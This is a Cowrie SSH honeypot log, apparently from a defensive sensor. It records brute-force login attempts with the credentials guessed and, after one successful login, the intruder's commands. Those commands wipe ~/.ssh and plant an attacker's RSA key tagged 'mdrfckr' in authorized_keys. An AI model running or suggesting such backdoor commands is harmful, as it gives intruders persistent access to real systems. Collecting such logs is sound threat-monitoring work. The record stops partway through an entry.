{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:42.838314Z","src_ip":"45.227.254.170","session":"51b260426fee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:43.283967Z","src_ip":"45.227.254.170","session":"51b260426fee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42916,"dst_ip":"159.203.135.109","dst_port":22,"session":"e464ae78c1c0","protocol":"ssh","message":"New connection: 159.203.92.129:42916 (159.203.135.109:22) [session: e464ae78c1c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:46.679955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:46.884125Z","src_ip":"159.203.92.129","session":"e464ae78c1c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:46.888289Z","src_ip":"159.203.92.129","session":"e464ae78c1c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"actedcoin","password":"actedcoin","message":"login attempt [actedcoin/actedcoin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:47.294358Z","src_ip":"159.203.92.129","session":"e464ae78c1c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:48.330397Z","src_ip":"159.203.92.129","session":"e464ae78c1c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":35228,"dst_ip":"10.17.0.5","dst_port":22,"session":"b53ed1aba486","protocol":"ssh","message":"New connection: 20.193.141.133:35228 (10.17.0.5:22) [session: b53ed1aba486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:53.915959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:53.922688Z","src_ip":"20.193.141.133","session":"b53ed1aba486","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:54.111447Z","src_ip":"20.193.141.133","session":"b53ed1aba486","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam!","message":"login attempt [steam/steam!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:54.896320Z","src_ip":"20.193.141.133","session":"b53ed1aba486","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:55.326368Z","src_ip":"20.193.141.133","session":"b53ed1aba486","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:55.329652Z","src_ip":"20.193.141.133","session":"b53ed1aba486","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:55.333381Z","src_ip":"20.193.141.133","session":"b53ed1aba486","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:55.525371Z","src_ip":"20.193.141.133","session":"b53ed1aba486","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:55.980787Z","src_ip":"20.193.141.133","session":"b53ed1aba486","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:55.984401Z","src_ip":"20.193.141.133","session":"b53ed1aba486","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:56.178513Z","src_ip":"20.193.141.133","session":"b53ed1aba486","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:56.182893Z","src_ip":"20.193.141.133","session":"b53ed1aba486","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":53888,"dst_ip":"10.17.0.5","dst_port":22,"session":"dae3782dc7ec","protocol":"ssh","message":"New connection: 20.193.141.133:53888 (10.17.0.5:22) [session: dae3782dc7ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:56.369746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:56.376850Z","src_ip":"20.193.141.133","session":"dae3782dc7ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:56.573489Z","src_ip":"20.193.141.133","session":"dae3782dc7ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:57.389294Z","src_ip":"20.193.141.133","session":"dae3782dc7ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:58.588627Z","src_ip":"20.193.141.133","session":"dae3782dc7ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":40895,"dst_ip":"10.17.0.5","dst_port":22,"session":"da9584588e8f","protocol":"ssh","message":"New connection: 20.193.141.133:40895 (10.17.0.5:22) [session: da9584588e8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:58.785734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:58.790951Z","src_ip":"20.193.141.133","session":"da9584588e8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:58.987898Z","src_ip":"20.193.141.133","session":"da9584588e8f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:59.794636Z","src_ip":"20.193.141.133","session":"da9584588e8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:59.987540Z","src_ip":"20.193.141.133","session":"b53ed1aba486","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:59.993443Z","src_ip":"20.193.141.133","session":"da9584588e8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56350,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d54760aea10","protocol":"ssh","message":"New connection: 159.203.92.129:56350 (159.203.135.109:22) [session: 2d54760aea10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:04:26.714592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:04:26.718939Z","src_ip":"159.203.92.129","session":"2d54760aea10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:04:26.722581Z","src_ip":"159.203.92.129","session":"2d54760aea10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"activemq","password":"111111","message":"login attempt [activemq/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:04:26.732772Z","src_ip":"159.203.92.129","session":"2d54760aea10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:04:27.738950Z","src_ip":"159.203.92.129","session":"2d54760aea10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":64752,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a0508b15507","protocol":"ssh","message":"New connection: 20.193.141.133:64752 (10.17.0.5:22) [session: 9a0508b15507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:04:58.070084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:04:58.083555Z","src_ip":"20.193.141.133","session":"9a0508b15507","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 